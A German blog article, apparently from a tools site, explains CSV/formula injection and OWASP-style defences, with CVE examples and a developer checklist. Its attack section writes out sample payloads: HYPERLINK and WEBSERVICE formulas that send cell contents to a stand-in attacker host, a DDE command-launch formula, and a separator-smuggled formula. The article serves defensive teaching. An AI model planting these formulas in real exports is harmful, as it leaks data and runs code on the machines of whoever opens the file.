CSV-Injection 2026: Wenn ein Export in Excel zur Sicherheitslücke wird

Eine CSV-Datei gilt als das harmloseste Format überhaupt: reiner Text, kein Code, kein Makro. Genau das macht sie gefährlich. Öffnet ein Nutzer den Export in Excel, LibreOffice oder Google Sheets, wird aus einer Zelle, die mit =, +, - oder @ beginnt, plötzlich eine Formel – und die kann Daten abgreifen oder im schlimmsten Fall Befehle ausführen. Dieser Artikel erklärt, wie CSV-Injection funktioniert, warum reines Escaping nicht reicht und wie du deine Exporte nach OWASP wirklich absicherst.

Warum eine harmlose CSV zur Waffe wird

CSV steht für »Comma-Separated Values« und ist genau das: Zeilen aus Textwerten, getrennt durch Kommas oder Semikolons. Keine Skripte, keine Makros, kein ausführbarer Code. Deshalb behandeln viele Entwickler CSV-Exporte als ungefährlich und schreiben Benutzereingaben ungeprüft hinein – Namen, Kommentare, Adressen, Betreffzeilen aus einem Ticketsystem.

Das Problem liegt nicht in der Datei, sondern im Programm, das sie öffnet. Excel, LibreOffice Calc und Google Sheets interpretieren den Inhalt einer Zelle: Beginnt ein Wert mit einem Gleichheitszeichen, ist es für sie keine Zeichenkette mehr, sondern eine Formel. Genau dieser Automatismus wird bei der CSV-Injection – auch Formula Injection genannt – ausgenutzt.

Der Angreifer muss dafür keinen Server kompromittieren. Er trägt seine Nutzlast in ein ganz normales Eingabefeld ein, das später exportiert wird. Die Lücke schnappt erst zu, wenn ein anderer Nutzer – oft ein Admin – den Export auf seinem eigenen Rechner öffnet.

Wie Excel aus Text eine Formel macht

Nach der OWASP-Definition wird eine Zelle als Formel behandelt, wenn ihr Inhalt mit einem dieser Zeichen beginnt: =, +, - oder @. Hinzu kommen zwei Steuerzeichen, die leicht übersehen werden: das Tabulatorzeichen (\t, 0x09) und der Wagenrücklauf (\r, 0x0D). Beide können in Excel ebenfalls eine Formelauswertung anstoßen.

Ein einfaches Beispiel: Trägt ein Nutzer als Namen =1+1 ein, zeigt die Zelle nach dem Öffnen nicht den Text, sondern das Ergebnis 2. Das wirkt wie eine Kuriosität. Doch die Formelsprache kennt Funktionen, die weit über simple Arithmetik hinausgehen – von Web-Aufrufen über das Öffnen externer Programme bis zum Nachladen fremder Daten.

Wichtig ist der Unterschied zwischen den Programmen. Excel zeigt beim Öffnen einer CSV mit potenziell gefährlichen Formeln inzwischen eine Sicherheitswarnung an. Google Sheets führt einige Funktionen dagegen ohne jede Rückfrage aus. Und selbst die Excel-Warnung hilft wenig: Wer eine Datei aus dem eigenen vertrauten System heruntergeladen hat, klickt die Meldung erfahrungsgemäß routiniert weg.

Angriffsvektoren: von HYPERLINK bis DDE

Der wohl eleganteste Angriff ist die Datenexfiltration über HYPERLINK. Eine Zelle mit dem Inhalt =HYPERLINK("http://angreifer.example/leak?d="&B2,"Klick mich") baut einen Link, der beim Anklicken den Inhalt der Nachbarzelle B2 an einen fremden Server sendet. Steht in B2 ein Gehalt oder ein Token, landet es beim Angreifer – ganz ohne Schadsoftware, allein mit einer Bordfunktion der Tabellenkalkulation.

Noch stiller arbeiten Funktionen, die Daten automatisch nachladen. =WEBSERVICE("http://angreifer.example/?d="&A1) ruft in älteren Excel-Versionen selbstständig eine URL ab. In Google Sheets übernehmen =IMPORTXML(...), =IMPORTDATA(...) oder =IMAGE(...) diese Rolle und können den Zelleninhalt an eine externe Adresse übertragen, teils ohne Klick des Nutzers.

Der gefährlichste Vektor ist DDE (Dynamic Data Exchange). Eine Nutzlast wie =cmd|'/c calc'!A0 kann auf veralteten Excel-Installationen ein beliebiges Programm starten – calc als harmloser Beweis, in echten Angriffen dann PowerShell oder ein Downloader. Das führt zu Remote Code Execution, also der Übernahme des Rechners. Moderne Excel-Versionen haben DDE entschärft, doch in Unternehmen laufen genug Altstände, um den Vektor ernst zu nehmen.

Reale Fälle und CVEs 2025/2026

CSV-Injection ist keine theoretische Spielerei. Im Oktober 2025 wurde unter CVE-2025-11279 eine Lücke in der Projektmanagement-Software Axosoft dokumentiert: Das Titelfeld eines Arbeitspakets wanderte ungefiltert in CSV-Reports und ließ sich so zur Formel-Injektion missbrauchen. Ein klassisches Muster – ein Freitextfeld, das irgendwann exportiert wird.

2026 traf es mehrere Open-Source-Bibliotheken. Unter CVE-2026-9673 wurde das populäre npm-Paket json-2-csv (Versionen ab 3.15.0 bis vor 5.5.11) als anfällig gemeldet: Erzeugte CSV-Ausgaben konnten Funktionen wie HYPERLINK, WEBSERVICE oder DDE-Aufrufe enthalten. Ebenfalls 2026 betraf CVE-2026-46672 das Finanz-Tool Actual CLI. Auch Symfony hat mit dem Advisory GHSA-2xhg-w2g5-w95x nachgezogen und seine CSV-Exporte an die OWASP-Empfehlungen angepasst.

In Bug-Bounty-Programmen ist CSV-Injection umstritten. Weil der Angriff Nutzerinteraktion voraussetzt (das Öffnen der Datei, oft ein Klick durch eine Warnung), stufen manche Programme ihn nur als »Medium« ein oder schließen ihn aus. Wegen des möglichen Ergebnisses – Datenabfluss oder Codeausführung – behandeln ihn andere als »High«. Das ändert nichts daran, dass die Lücke real und leicht auszulösen ist.

Warum reines CSV-Escaping nicht schützt

Ein naheliegender, aber falscher Reflex ist, das Problem für ein normales Escaping-Thema zu halten. Bei SQL oder HTML maskiert man Sonderzeichen, damit sie nicht als Steuerzeichen wirken – warum nicht auch hier? Der Denkfehler: Eine CSV-Datei hat gar keine Formel-Syntax, die man escapen könnte. Die Datei ist völlig korrekt und ungefährlich. Erst die Tabellenkalkulation macht aus dem Text eine Formel.

Das gängige CSV-Quoting hilft nicht. Setzt du eine Zelle in doppelte Anführungszeichen – "=1+1" – entfernt Excel diese beim Import als reine CSV-Quotes und wertet =1+1 danach trotzdem als Formel aus. Die Anführungszeichen sind Teil des CSV-Formats, nicht Teil des Zellwerts. Sie schützen also nicht vor der Interpretation, sie ermöglichen sie sogar, weil sie Kommas und Zeilenumbrüche innerhalb einer Zelle erlauben.

Kurz: Das Problem ist keine Injektion in die CSV, sondern eine Injektion in die Formel-Engine der Zielanwendung. Absichern musst du daher an der Grenze zwischen Datei und Programm – und das geht nur über die Werte selbst, nicht über das Dateiformat.

Die OWASP-Gegenmaßnahme: das Prefix

Die von OWASP empfohlene Kernmaßnahme ist so simpel wie wirksam: Beginnt ein Zellwert mit einem der gefährlichen Zeichen, stellst du ihm ein einfaches Anführungszeichen (') voran. Excel und LibreOffice interpretieren ein führendes Apostroph als »behandle den Rest als Text« und werten die Zelle nicht mehr als Formel aus. Das Apostroph selbst wird in der Anzeige nicht dargestellt.

Alternativ – oder ergänzend – lässt sich ein Tabulator (\t) oder ein Leerzeichen voranstellen. Das Symfony-Framework etwa prefixt nach seinem Sicherheitsupdate jede Zelle, die mit =, +, -, @, \t oder \r beginnt, mit einem einfachen Anführungszeichen. Wichtig ist, alle sechs Startzeichen abzudecken und nicht nur das offensichtliche Gleichheitszeichen.

Diese Behandlung gehört an eine Stelle: in die Export-Funktion, kurz bevor die Werte in die Datei geschrieben werden. Sie in der Datenbank vorzunehmen wäre falsch, denn dort ist =1+1 ein legitimer, harmloser Text. Erst der Weg in die CSV macht ihn gefährlich.

Der übersehene Teil: Feldtrenner und Quotes

Nur das erste Zeichen jeder Zelle zu prüfen, reicht nicht – und genau hier scheitern viele halbfertige Lösungen. Ein Angreifer kann das Feldtrennzeichen selbst in seine Eingabe schmuggeln. Enthält ein Wert etwa ein Semikolon oder Komma, beginnt danach in der Tabelle eine neue Zelle. Deren Inhalt startet dann mit dem nächsten Zeichen – und das kann wieder ein = sein, obwohl der ursprüngliche Wert harmlos anfing.

Ein Beispiel: Die Eingabe Max;=HYPERLINK("http://boese.example") wirkt im ersten Feld unauffällig, öffnet aber ein zweites Feld mit einer aktiven Formel. Wer nur den Anfang der ersten Zelle prüft, übersieht das komplett. Deshalb musst du bei der Prüfung auch die Feldtrenner (, und ;) und die Quote-Zeichen (" und ') im Blick behalten und jede resultierende Zelle einzeln absichern.

Die robuste Vorgehensweise ist deshalb: Werte konsequent quoten (damit Trenner nicht ausbrechen), enthaltene Anführungszeichen korrekt verdoppeln und danach jede logische Zelle auf ihr Startzeichen prüfen und prefixen. Am zuverlässigsten geht das mit einer erprobten CSV-Bibliothek statt mit selbstgebautem String-Zusammenbau.

Wo das Prefix an Grenzen stößt

Das Voranstellen eines Apostrophs ist wirksam, aber nicht immer gratis. Bei Feldern, die legitim mit einem Minus oder Plus beginnen – negative Beträge, Telefonnummern im Format +49..., Vorzeichen in Messwerten – verändert das Prefix die Daten: Aus einer Zahl wird Text, was Sortierung und Weiterrechnen in der Tabelle stört.

Deshalb lohnt es sich, den Kontext zu berücksichtigen. Bei reinen Freitextfeldern (Namen, Kommentare, Betreffzeilen) ist das Prefix unkritisch. Bei echten Zahlenspalten validierst du den Wert serverseitig als Zahl und schreibst ihn nur dann ohne Prefix, wenn er tatsächlich numerisch ist – alles andere gilt als Text und wird abgesichert.

Eine grundsätzlich sicherere Alternative ist, ein Format ohne Formel-Interpretation auszuliefern: eine echte .xlsx-Datei mit explizit als Text typisierten Zellen oder gleich ein maschinenlesbares JSON. Wo CSV sein muss, führt am Prefix-Ansatz aber kein Weg vorbei.

Checkliste für Entwickler

Zum Mitnehmen, kompakt: Erstens – behandle jeden CSV-Export mit Benutzerdaten als potenziell gefährlich, nicht nur »offensichtliche« Felder. Zweitens – prefixe jede Zelle, die mit =, +, -, @, \t oder \r beginnt, mit einem einfachen Anführungszeichen. Drittens – berücksichtige Feldtrenner und Quotes, damit kein zweites Feld mit einer Formel ausbricht.

Viertens – setze die Absicherung in der Export-Schicht an, nicht in der Datenbank. Fünftens – nutze eine erprobte CSV-Bibliothek und prüfe, ob deine Version die Formula-Injection bereits behandelt (viele tun es erst nach den 2025/2026er-Advisories). Sechstens – teste aktiv: Trage =HYPERLINK(...), =1+1 und einen DDE-Payload in deine Eingabefelder ein und öffne den Export in Excel und Google Sheets.

Und wenn du selbst eine CSV aus unbekannter Quelle öffnest: Importiere sie über den Text-Import-Assistenten und deklariere verdächtige Spalten von Hand als Text. Klicke Sicherheitswarnungen nie reflexartig weg, nur weil die Datei aus einem vertrauten System zu stammen scheint.

Was Tools auf CalcSI helfen

Wenn du einen fragwürdigen Export erst einmal gefahrlos anschauen willst, wandelst du ihn mit CSV zu JSON um: Im JSON siehst du die reinen Werte inklusive führender =, + oder @ im Klartext, ganz ohne dass eine Tabellenkalkulation etwas ausführt. Zum Aufbereiten und Prüfen der Struktur hilft anschließend der JSON-Formatter, mit dem du verschachtelte Datensätze übersichtlich einrückst und auf verdächtige Muster durchsuchst. Enthält eine Zelle eine URL mit angehängten Zeichen, machst du sie mit dem URL-Encoder/Decoder lesbar und erkennst, welche Daten ein HYPERLINK- oder WEBSERVICE-Aufruf abziehen würde. Und um Exporte oder Backups auf unbemerkte Veränderungen zu prüfen, bildest du mit dem Hash-Generator eine Prüfsumme über die Originaldatei. Alle vier laufen komplett im Browser – die verdächtige Datei verlässt deinen Rechner nicht.